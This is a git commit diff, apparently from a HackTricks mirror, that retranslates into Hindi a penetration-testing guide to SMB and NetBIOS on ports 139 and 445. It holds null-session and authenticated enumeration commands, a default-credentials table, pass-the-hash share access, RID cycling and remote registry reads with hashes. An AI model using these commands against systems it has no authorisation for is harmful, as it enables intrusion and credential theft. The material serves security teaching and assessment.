mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-smb/README.md',
This commit is contained in:
parent
0d7c5e24a4
commit
e3a1042cd7
@ -494,6 +494,7 @@
|
||||
- [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
|
||||
- [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
|
||||
- [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
|
||||
- [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md)
|
||||
- [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
|
||||
- [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
|
||||
- [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
|
||||
|
@ -4,60 +4,61 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
_**नेटवर्क बेसिक इनपुट आउटपुट सिस्टम**_** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, PCs और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) "कॉल" करने के लिए दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) को **TCP पोर्ट 139** का उपयोग करते हुए एक कमांड जारी करता है।
|
||||
The _**Network Basic Input Output System**_** (NetBIOS)** एक सॉफ्टवेयर प्रोटोकॉल है जिसे local area network (LAN) के भीतर एप्लिकेशन, PCs, और Desktops को नेटवर्क हार्डवेयर के साथ इंटरैक्ट करने और **नेटवर्क पर डेटा के प्रसारण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर चलने वाले सॉफ़्टवेयर एप्लिकेशन की पहचान और उनका स्थान उनके NetBIOS नामों के माध्यम से निर्धारित किया जाता है, जो अधिकतम 16 वर्ण तक के हो सकते हैं और अक्सर कंप्यूटर नाम से अलग होते हैं। दो एप्लिकेशनों के बीच एक NetBIOS सत्र तब आरंभ होता है जब एक एप्लिकेशन (client के रूप में कार्य करते हुए) दूसरे एप्लिकेशन (server के रूप में कार्य करते हुए) को "call" करने का कमांड जारी करता है, जो **TCP Port 139** का उपयोग करता है।
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
|
||||
तकनीकी रूप से, Port 139 को ‘NBT over IP’ कहा जाता है, जबकि Port 445 को ‘SMB over IP’ के रूप में पहचाना जाता है। संक्षेप **SMB** का अर्थ ‘**Server Message Blocks**’ है, जिसे आधुनिक रूप में **Common Internet File System (CIFS)** के नाम से भी जाना जाता है। एक application-layer नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS का मुख्य उपयोग फाइलों, प्रिंटरों, serial ports तक साझा पहुँच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार के संचार को सुगम बनाने के लिए किया जाता है।
|
||||
|
||||
उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न प्रणालियों पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
|
||||
उदाहरण के लिए, Windows के संदर्भ में यह बताया जाता है कि SMB port 445 के उपयोग के माध्यम से सीधे TCP/IP पर चल सकता है, जिससे NetBIOS over TCP/IP की आवश्यकता समाप्त हो जाती है। इसके विपरीत, अन्य सिस्टमों पर port 139 के उपयोग का अवलोकन किया जाता है, जो इंगित करता है कि SMB NetBIOS over TCP/IP के साथ संयुक्त रूप से चल रहा है।
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, फ़ाइलों, निर्देशिकाओं और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे नए संस्करणों वाले Microsoft के ऑपरेटिंग सिस्टम वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
|
||||
The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **फ़ाइलों तक पहुँच**, डायरेक्टरीज़, और प्रिंटर व राउटर जैसे अन्य नेटवर्क संसाधनों तक पहुँच को नियंत्रित करने के लिए बनाया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला में उपयोग होने वाला, SMB पिछड़ी संगतता सुनिश्चित करता है, जिससे Microsoft के नए संस्करण वाले डिवाइस बिना बाधा के पुराने संस्करण चलाने वाले डिवाइस के साथ इंटरैक्ट कर सकते हैं। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक फ्री सॉफ़्टवेयर समाधान प्रदान करता है, जो **Linux** और Unix सिस्टम्स पर SMB के कार्यान्वयन को सक्षम बनाता है और इस तरह SMB के माध्यम से क्रॉस‑प्लैटफ़ॉर्म संचार की सुविधा देता है।
|
||||
|
||||
शेयर, जो **स्थानीय फ़ाइल सिस्टम के मनमाने भागों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
|
||||
Shares, जो स्थानीय फ़ाइल सिस्टम के **मनमाने हिस्सों** का प्रतिनिधित्व करते हैं, SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हाइरार्की सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** दिख सकती है। The **Access Control Lists (ACLs)**, जो **पहुंच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-स्तरीय नियंत्रण** की अनुमति देती हैं, जिनमें गुण जैसे **`execute`**, **`read`**, और **`full access`** शामिल हैं। ये अनुमतियाँ shares के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को असाइन की जा सकती हैं, और सर्वर पर सेट स्थानीय अनुमतियों से अलग होती हैं।
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जो नामित पाइपों के माध्यम से उजागर सेवाओं के साथ बातचीत की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही तरीके से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाता है:
|
||||
IPC$ share तक पहुँच anonymous null session के माध्यम से प्राप्त की जा सकती है, जो named pipes के माध्यम से एक्सपोज़ की गई सेवाओं के साथ इंटरैक्शन की अनुमति देती है। उपयोगिता `enum4linux` इस उद्देश्य के लिए उपयोगी है। सही तरीके से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाती है:
|
||||
|
||||
- ऑपरेटिंग सिस्टम की जानकारी
|
||||
- माता-पिता डोमेन का विवरण
|
||||
- स्थानीय उपयोगकर्ताओं और समूहों का संकलन
|
||||
- उपलब्ध SMB शेयरों की जानकारी
|
||||
- ऑपरेटिंग सिस्टम के बारे में जानकारी
|
||||
- parent domain के विवरण
|
||||
- स्थानीय उपयोगकर्ताओं और समूहों की सूची
|
||||
- उपलब्ध SMB shares की जानकारी
|
||||
- प्रभावी सिस्टम सुरक्षा नीति
|
||||
|
||||
यह कार्यक्षमता नेटवर्क प्रशासकों और सुरक्षा पेशेवरों के लिए SMB (सर्वर संदेश ब्लॉक) सेवाओं की सुरक्षा स्थिति का आकलन करने के लिए महत्वपूर्ण है। `enum4linux` लक्षित प्रणाली के SMB वातावरण का एक व्यापक दृश्य प्रदान करता है, जो संभावित कमजोरियों की पहचान करने और यह सुनिश्चित करने के लिए आवश्यक है कि SMB सेवाएँ सही तरीके से सुरक्षित हैं।
|
||||
यह कार्यक्षमता नेटवर्क व्यवस्थापकों और सुरक्षा पेशेवरों के लिए नेटवर्क पर SMB (Server Message Block) सेवाओं की सुरक्षा स्थिति का आकलन करने के लिए महत्वपूर्ण है। `enum4linux` लक्ष्य प्रणाली के SMB परिवेश का व्यापक दृश्य प्रदान करती है, जो संभावित कमजोरियों की पहचान करने और यह सुनिश्चित करने के लिए आवश्यक है कि SMB सेवाएँ सही ढंग से सुरक्षित हैं।
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
उपरोक्त कमांड एक उदाहरण है कि कैसे `enum4linux` का उपयोग एक लक्षित `target_ip` के खिलाफ पूर्ण एन्यूमरेशन करने के लिए किया जा सकता है।
|
||||
ऊपर दिया गया कमांड एक उदाहरण है कि `enum4linux` का उपयोग `target_ip` द्वारा निर्दिष्ट लक्ष्य के खिलाफ पूर्ण enumeration करने के लिए कैसे किया जा सकता है।
|
||||
|
||||
## NTLM क्या है
|
||||
|
||||
यदि आप नहीं जानते कि NTLM क्या है या आप जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आप **NTLM** के बारे में इस पृष्ठ को बहुत दिलचस्प पाएंगे जहाँ **इस प्रोटोकॉल के काम करने का तरीका और आप इसका लाभ कैसे उठा सकते हैं** समझाया गया है:
|
||||
यदि आप नहीं जानते कि NTLM क्या है या आप यह जानना चाहते हैं कि यह कैसे काम करता है और इसे कैसे दुरुपयोग किया जा सकता है, तो आप इस पेज को बहुत रोचक पाएँगे जो **NTLM** के बारे में है जहाँ यह समझाया गया है **कि यह प्रोटोकॉल कैसे काम करता है और आप इसका कैसे लाभ उठा सकते हैं:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
{{#endref}}
|
||||
|
||||
## **सर्वर एन्यूमरेशन**
|
||||
## **Server Enumeration**
|
||||
|
||||
### **स्कैन** एक नेटवर्क में होस्ट की खोज करना:
|
||||
### **Scan**: नेटवर्क में hosts खोजें:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB सर्वर संस्करण
|
||||
|
||||
SMB संस्करण के लिए संभावित एक्सप्लॉइट्स की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
|
||||
SMB संस्करण के संभावित exploits खोजने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग में है। अगर यह जानकारी अन्य tools में नहीं दिखती है, तो आप:
|
||||
|
||||
- **MSF** सहायक मॉड्यूल `**auxiliary/scanner/smb/smb_version**` का उपयोग करें
|
||||
- या यह स्क्रिप्ट:
|
||||
- **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` का उपयोग करें
|
||||
- या इस स्क्रिप्ट:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
@ -74,26 +75,26 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **शोध शोषण**
|
||||
### **exploit खोजें**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **संभावित** क्रेडेंशियल्स
|
||||
### **संभव** प्रमाण-पत्र
|
||||
|
||||
| **उपयोगकर्ता नाम(s)** | **सामान्य पासवर्ड** |
|
||||
| ---------------------- | ----------------------------------------- |
|
||||
| _(खाली)_ | _(खाली)_ |
|
||||
| अतिथि | _(खाली)_ |
|
||||
| व्यवस्थापक, एडमिन | _(खाली)_, पासवर्ड, व्यवस्थापक, एडमिन |
|
||||
| आर्कसर्व | आर्कसर्व, बैकअप |
|
||||
| टिवोली, tmersrvd | टिवोली, tmersrvd, एडमिन |
|
||||
| बैकअपएक्सेक, बैकअप | बैकअपएक्सेक, बैकअप, आर्काडा |
|
||||
| परीक्षण, प्रयोगशाला, डेमो | पासवर्ड, परीक्षण, प्रयोगशाला, डेमो |
|
||||
| **उपयोगकर्ता नाम** | **सामान्य पासवर्ड** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(blank)_ | _(blank)_ |
|
||||
| guest | _(blank)_ |
|
||||
| Administrator, admin | _(blank)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
|
||||
### ब्रूट फोर्स
|
||||
### Brute Force
|
||||
|
||||
- [**SMB ब्रूट फोर्स**](../../generic-hacking/brute-force.md#smb)
|
||||
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
|
||||
|
||||
### SMB वातावरण जानकारी
|
||||
|
||||
@ -119,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### उपयोगकर्ताओं, समूहों और लॉग इन उपयोगकर्ताओं की गणना करें
|
||||
### उपयोगकर्ताओं, समूहों और लॉग्ड-ऑन उपयोगकर्ताओं को सूचीबद्ध करें
|
||||
|
||||
यह जानकारी पहले से ही enum4linux और enum4linux-ng से एकत्र की जानी चाहिए।
|
||||
यह जानकारी पहले से enum4linux और enum4linux-ng से एकत्र की जा चुकी होनी चाहिए।
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
@ -133,44 +134,44 @@ rpcclient -U "" -N 10.10.10.10
|
||||
enumdomusers
|
||||
enumdomgroups
|
||||
```
|
||||
### स्थानीय उपयोगकर्ताओं की गणना करें
|
||||
### स्थानीय उपयोगकर्ताओं को सूचीबद्ध करें
|
||||
|
||||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Oneliner
|
||||
एक-पंक्ति कमांड
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
### Metasploit - स्थानीय उपयोगकर्ताओं की गणना करें
|
||||
### Metasploit - स्थानीय उपयोगकर्ताओं की सूची
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **LSARPC और SAMR rpcclient की गणना करना**
|
||||
### **LSARPC और SAMR rpcclient का सूचीकरण**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### लिनक्स से GUI कनेक्शन
|
||||
### linux से GUI कनेक्शन
|
||||
|
||||
#### टर्मिनल में:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### फ़ाइल ब्राउज़र विंडो (nautilus, thunar, आदि)
|
||||
#### फ़ाइल ब्राउज़र विंडो में (nautilus, thunar, etc)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## साझा फ़ोल्डरों की गणना
|
||||
## साझा फ़ोल्डरों का सूचीकरण
|
||||
|
||||
### साझा फ़ोल्डरों की सूची
|
||||
|
||||
यह हमेशा अनुशंसित है कि आप देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/अतिथि उपयोगकर्ता** का उपयोग करने की कोशिश करें।
|
||||
यह हमेशा सलाह दी जाती है कि जांचें कि क्या आप किसी चीज़ तक पहुँच सकते हैं; यदि आपके पास credentials नहीं हैं तो **null** **credentials/guest user** का उपयोग करने का प्रयास करें।
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -184,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **एक साझा फ़ोल्डर से कनेक्ट/सूची बनाएं**
|
||||
### **साझा फ़ोल्डर से कनेक्ट/सूची दिखाना**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
@ -196,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **मैन्युअल रूप से विंडोज़ शेयरों की गणना करें और उनसे कनेक्ट करें**
|
||||
### **मैन्युअली windows शेयरों को सूचीबद्ध करें और उनसे कनेक्ट करें**
|
||||
|
||||
यह संभव है कि आपको होस्ट मशीन के किसी भी शेयर को प्रदर्शित करने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं, तो ऐसा प्रतीत होता है कि कनेक्ट करने के लिए कोई शेयर नहीं हैं। इसलिए, एक शेयर से मैन्युअल रूप से कनेक्ट करने की कोशिश करना सार्थक हो सकता है। शेयरों की मैन्युअल गणना करने के लिए, आप NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसी प्रतिक्रियाओं की तलाश कर सकते हैं, जब आप एक मान्य सत्र (जैसे, नल सत्र या मान्य क्रेडेंशियल) का उपयोग कर रहे हों। ये यह संकेत कर सकते हैं कि शेयर मौजूद है और आपके पास इसका एक्सेस नहीं है या शेयर बिल्कुल मौजूद नहीं है।
|
||||
यह संभव है कि होस्ट मशीन के शेयर दिखाने पर आपको प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करें तो ऐसा लगे कि जुड़ने के लिए कोई शेयर मौजूद ही नहीं है। इसलिए किसी शेयर से मैन्युअली कनेक्ट करने की एक छोटी कोशिश करना फायदेमंद हो सकता है। शेयरों को मैन्युअली सूचीबद्ध करने के लिए, जब आप कोई वैध सत्र (e.g. null session या valid credentials) उपयोग कर रहे हों, तो आपको NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसी प्रतिक्रियाएँ देखनी चाहिए। ये संकेत दे सकती हैं कि शेयर मौजूद है लेकिन आपके पास एक्सेस नहीं है, या शेयर बिल्कुल मौजूद ही नहीं है।
|
||||
|
||||
विंडोज़ लक्ष्यों के लिए सामान्य शेयर नाम हैं
|
||||
Common share names for windows targets are
|
||||
|
||||
- C$
|
||||
- D$
|
||||
@ -211,14 +212,14 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(सामान्य शेयर नाम _**नेटवर्क सुरक्षा आकलन 3री संस्करण**_ से)
|
||||
(Common share names from _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
आप निम्नलिखित कमांड का उपयोग करके उनसे कनेक्ट करने की कोशिश कर सकते हैं
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
या स्क्रिप्ट (एक शून्य सत्र का उपयोग करते हुए)
|
||||
या यह script (null session का उपयोग करते हुए)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
@ -240,7 +241,7 @@ done
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Windows से शेयरों की गणना करें / बिना थर्ड-पार्टी टूल के**
|
||||
### **Windows से शेयरों की सूची प्राप्त करें / थर्ड-पार्टी टूल्स के बिना**
|
||||
|
||||
PowerShell
|
||||
```bash
|
||||
@ -259,23 +260,23 @@ net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC स्नैप-इन (ग्राफिकल)
|
||||
MMC Snap-in (ग्राफिकल)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (ग्राफिकल), उपलब्ध गैर-छिपे हुए शेयर देखने के लिए `\\<ip>\` दर्ज करें।
|
||||
explorer.exe (ग्राफिकल) में `\\<ip>\` दर्ज करें ताकि उपलब्ध गैर-छिपे शेयर दिखें।
|
||||
|
||||
### साझा फ़ोल्डर माउंट करें
|
||||
### साझा फ़ोल्डर माउंट करना
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **फाइलें डाउनलोड करें**
|
||||
### **डाउनलोड फ़ाइलें**
|
||||
|
||||
क्रेडेंशियल्स/पास-थ-हैश के साथ कनेक्ट करने के लिए पिछले अनुभाग पढ़ें।
|
||||
कनेक्ट करने के लिए credentials/Pass-the-Hash का उपयोग कैसे करें यह जानने के लिए पिछले अनुभाग पढ़ें।
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -290,36 +291,36 @@ smbclient //<IP>/<share>
|
||||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
Commands:
|
||||
कमांड:
|
||||
|
||||
- mask: निर्दिष्ट करता है कि फ़ाइलों को फ़िल्टर करने के लिए कौन सा मास्क उपयोग किया जाता है (जैसे "" सभी फ़ाइलों के लिए)
|
||||
- recurse: पुनरावृत्ति को चालू करता है (डिफ़ॉल्ट: बंद)
|
||||
- prompt: फ़ाइल नामों के लिए संकेत को बंद करता है (डिफ़ॉल्ट: चालू)
|
||||
- mget: होस्ट से क्लाइंट मशीन पर मास्क से मेल खाने वाली सभी फ़ाइलों की प्रतिलिपि बनाता है
|
||||
- mask: उस mask को निर्दिष्ट करता है जिसका उपयोग डायरेक्टरी के भीतर फाइलों को फ़िल्टर करने के लिए किया जाता है (उदा. "" सभी फाइलों के लिए)
|
||||
- recurse: recursion को चालू/बंद करता है (डिफ़ॉल्ट: बंद)
|
||||
- prompt: फ़ाइल नामों के लिए prompting को बंद करता है (डिफ़ॉल्ट: चालू)
|
||||
- mget: होस्ट से क्लाइंट मशीन पर mask से मेल खाने वाली सभी फाइलें कॉपी करता है
|
||||
|
||||
(_Information from the manpage of smbclient_)
|
||||
(_जानकारी smbclient के manpage से_)
|
||||
|
||||
### Domain Shared Folders Search
|
||||
### डोमेन साझा फ़ोल्डरों की खोज
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) स्पाइडर।
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
|
||||
- `-M spider_plus [--share <share_name>]`
|
||||
- `--pattern txt`
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **autologon** के साथ कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए पासवर्ड **शामिल कर सकती हैं**। या **`web.config`** फ़ाइलें क्योंकि वे क्रेडेंशियल्स **शामिल करती हैं**।
|
||||
Shares में विशेष रूप से दिलचस्प फ़ाइलें वे हैं जिन्हें **`Registry.xml`** कहा जाता है क्योंकि इनमें **autologon** के माध्यम से **Group Policy** के तहत कॉन्फ़िगर किए गए users के पास **पासवर्ड** हो सकते हैं। या **`web.config`** फ़ाइलें क्योंकि उनमें credentials होते हैं।
|
||||
|
||||
> [!TIP]
|
||||
> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा जा सकता है**। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
|
||||
> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप **संवेदनशील जानकारी** जैसे **पासवर्ड** **पाएंगे**।
|
||||
> **SYSVOL share** डोमेन के सभी प्रमाणीकृत उपयोगकर्ताओं के लिए **readable** होता है। वहां आप कई अलग-अलग batch, VBScript, और PowerShell **scripts** पा सकते हैं।\
|
||||
> आपको उसके अंदर की **scripts** जरूर **check** करनी चाहिए क्योंकि आप sensitive जानकारी जैसे कि **पासवर्ड** पा सकते हैं।
|
||||
|
||||
## रजिस्ट्री पढ़ें
|
||||
|
||||
आप कुछ खोजे गए क्रेडेंशियल्स का उपयोग करके **रजिस्ट्री पढ़ने** में सक्षम हो सकते हैं। Impacket **`reg.py`** आपको प्रयास करने की अनुमति देता है:
|
||||
आप कुछ खोजे गए credentials का उपयोग करके **रजिस्ट्री पढ़** सकते हैं। Impacket **`reg.py`** आपको यह आज़माने की अनुमति देता है:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -327,35 +328,35 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
|
||||
The **डिफ़ॉल्ट कॉन्फ़िग** एक **Samba** सर्वर का आमतौर पर `/etc/samba/smb.conf` में स्थित होता है और इसमें कुछ **खतरनाक कॉन्फ़िग्स** हो सकते हैं:
|
||||
|
||||
| **Setting** | **Description** |
|
||||
